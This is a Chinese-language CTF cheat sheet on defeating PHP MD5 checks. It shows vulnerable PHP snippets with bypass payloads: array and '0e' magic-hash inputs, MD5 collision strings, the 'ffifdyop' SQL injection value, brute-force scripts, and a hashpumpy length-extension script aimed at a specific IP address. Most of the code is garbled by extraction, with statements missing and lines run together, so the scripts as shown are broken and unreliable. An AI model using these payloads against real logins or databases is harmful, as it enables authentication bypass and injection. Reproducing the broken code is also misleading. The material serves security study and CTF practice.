MD5弱类型比较 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );$a  = $_GET ['a' ];$b  = $_GET ['b' ];if  (isset ($_GET ['a' ]) and  isset ($_GET ['b' ]))if  ($_GET ['a' ] != $_GET ['b' ])if  ((md5 ($_GET ['a' ]) == md5 ($_GET ['b' ])))echo  "ok" ;else echo  "nonono" ;?> 
方法一:数组绕过 
由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组来绕过
方法二:科学计数法绕过 
可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 s878926199a
MD5强类型比较 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );$a  = $_GET ['a' ];$b  = $_GET ['b' ];if  (isset ($_GET ['a' ]) and  isset ($_GET ['b' ]))if  ($_GET ['a' ] != $_GET ['b' ])if  ((md5 ($_GET ['a' ]) === md5 ($_GET ['b' ])))echo  "ok" ;else echo  "nonono" ;?> 
在===的情况下如果没有加类似is_numeric的函数进行过滤还是可以使用数组绕过,但是不能使用科学计数法绕过了
方法三:MD5强碰撞 
可以使用fastcoll来碰撞出一组内容不同但md5值相同的值
1 M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
1 M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
双MD5 MD5和双MD5以后的值都是0e开头的
1 2 3 CbDLytmyGm2xQyaLNhWn
$md5==md5($md5) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $md5          md5($md5)
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  hashlib"0123456789" def  calcMd5 (s ):if  MD5[0 :2 ] == "0e"  and  MD5[2 :32 ].isdigit():print  s,MD5def  getStr (payload,s,slen ):if  len (s) == slen:return  sfor  j in  xrange(len (payload)):if  __name__ == '__main__' :'0e' ,13 )
截断比较(暴力破解) 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );if  (substr (md5 ($_POST ['auth' ]),0 ,6 ) == "666666" ) {echo  "1" ;else  {echo  "2" ;?> 
代码中需要md5后前6位为666666
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import  multiprocessingimport  hashlibimport  randomimport  stringimport  sysdef  cmp_md5 (substr, stop_event, str_len, start=0 , size=20  ):global  CHARSwhile  not  stop_event.is_set():'' .join(random.choice(CHARS) for  _ in  range (size))if  md5.hexdigest()[start: start+str_len] == substr:print  rndsset ()if  __name__ == '__main__' :1 ].strip()int (sys.argv[2 ]) if  len (sys.argv) > 1  else  0 len (substr)for  i in  range (cpus)]for  p in  processes:for  p in  processes:
运行脚本
补充一个升级版脚本,支持尾部添加字符串12ba和91e0c)
1 2 3 4 5 6 7 <?php if  (substr (md5 ($_POST ['auth' ]."12ba" ),0 ,5 ) == "91e0c" ) {echo  "1" ;else  {echo  "2" ;?> 
1 2 >python2 md5 .py "91e0c"  0  12 ba1 KVErD6VijQCd9BrkPEl                 
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import  multiprocessingimport  hashlibimport  randomimport  stringimport  sysdef  cmp_md5 (substr, stop_event, str_len,off, start=0 , size=20  ):global  CHARSwhile  not  stop_event.is_set():'' .join(random.choice(CHARS) for  _ in  range (size))if  md5.hexdigest()[start: start+str_len] == substr:print ( rnds)set ()if  __name__ == '__main__' :1 ].strip()int (sys.argv[2 ]) if  len (sys.argv) > 1  else  0 3 ]len (substr)for  i in  range (cpus)]for  p in  processes:for  p in  processes:
不同文件相同md5 linux使用md5collgen碰撞生成两个md5值相同但内容不同的文件
1 md5collgen  -o 1 .bin 2 .bin
windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件
1 2 fastcoll.exe  -p  123 .txt  -o 1 .txt  2 .txt .exe  a .jpg  -o 1 .jpg  2 .jpg
php中md5($str,true)注入 1 2 3 4 5 6 7 8 9 10 <?php $password  = $_POST ['password' ];$sql  = "SELECT * FROM admin WHERE username = 'admin' and password = '" .md5 ($password ,true )."'" ;$result  = mysqli_query ($link ,$sql );if (mysqli_num_rows ($result )>0 ){echo  'Success' ;else {echo  'Failure' ;?> 
我们只需要找md5加密后字符串中是否存在'or'字符串
比如经典的ffifdyop,经过md5加密后276f722736c95d99e921722cf9ed621c,转字符串后就包含了'or'
其他的例子和exp
1 2 3 4 5 ffifdyop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $payload  = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;function  calc_md5_true ($s $md5_true  = md5 ($s ,true );if  (strpos ($md5_true ,"'or'" ) !== false ){echo  $s .PHP_EOL;function  getstr ($payload , $s , $slen if  (strlen ($s ) == $slen ) {calc_md5_true ($s );return  $s ;for  ($i  = 0 ; $i  < strlen ($payload ); $i ++) {$sl  = $s  . $payload [$i ];getstr ($payload , $sl , $slen );for  ($i  = 3 ; $i  < 30 ; $i ++) {getstr ($payload , '' , $i );
HASH长度扩展攻击 在$hash = md5($salt.$data)中已知$hash和$data以及$salt的长度时$_hash和$_data使得$_hash = md5($salt.$_data)成立
已知salt长度 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include  "./secret_key.php" ;include  "./salt.php" ;$username  = urldecode ($_POST ["username" ]);$password  = urldecode ($_POST ["password" ]);if  (!empty ($_COOKIE ["digest" ])) {if  ($username  === "admin"  && $password  != "root" ) {if  ($_COOKIE ["digest" ] === md5 ($salt .$username .$password )) {die  ("The secret_key is " . $secret_key );else  {die  ("Your cookies don't match up! STOP HACKING THIS SITE." );else  {die  ("no no no" );
使用hashpump进行计算
第一行是得到的hash值,即hash(salt+’adminroot’)
\x替换为%
hashpump的作者删库了,可以使用hash-ext-attack 或者hexpand代替
未知salt长度 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 攻击代码import  hashpumpyimport  urllibimport  requestsfor  i in  range (1 ,30 ):'3a4727d57463f122833d9e732f94e4e0' ,';\"tseug\":5:s' ,';\"nimda\":5:s' ,i)print  i'http://120.26.131.152:32778/' 0 ]1 ])[::-1 ])'role=' +message+'; hsh=' +digest'cookie' : cookie,'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0' ,'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' ,'Accept-Language' : ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' ,'Accept-Encoding' : 'gzip, deflate' print  headersprint  re.textif  "Welcome"  in  re.text:print  re;break 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 使用说明>>>  import  hashpumpy>>>  help (hashpumpy.hashpump)in  function hashpump in  module hashpumpy:str ):      Hex-encoded result of hashing key + original_data.str ):  Known data used to get the hash  result hexdigest.str ):    Data to appendint ):     Length of unknown data prepended to the hash tuple  containing the new hex  digest and  the new message.>>>  hashpumpy.hashpump('ffffffff' , 'original_data' , 'data_to_add' , len ('KEYKEYKEY' ))'e3c4a05f' , 'original_datadata_to_add' )